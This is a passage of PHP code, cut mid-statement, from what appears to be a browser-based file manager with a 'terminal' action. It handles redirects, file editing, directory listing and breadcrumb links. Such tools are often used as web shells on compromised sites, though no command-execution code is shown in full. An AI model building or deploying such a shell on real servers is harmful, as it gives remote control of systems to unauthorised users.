xx&1"); } } if ($a!=='terminal') { header("Location: ?open&p=".urlencode($cwd)."&msg=".urlencode($msg)); exit; } } $editFile=null; if(isset($_GET['edit'])){ $ep=safe_real($cwd.'/'.$_GET['edit']); if($ep && is_file($ep)) $editFile=$ep; } $items=scandir($cwd); function breadcrumb($path){ $parts=explode('/',trim($path,'/')); $acc=''; $links=[]; foreach($parts as $p){ if($p==='') continue; $acc.='/'.$p; $links[]=['name'=>$p,'path'=>$acc]; } return $links; } ?>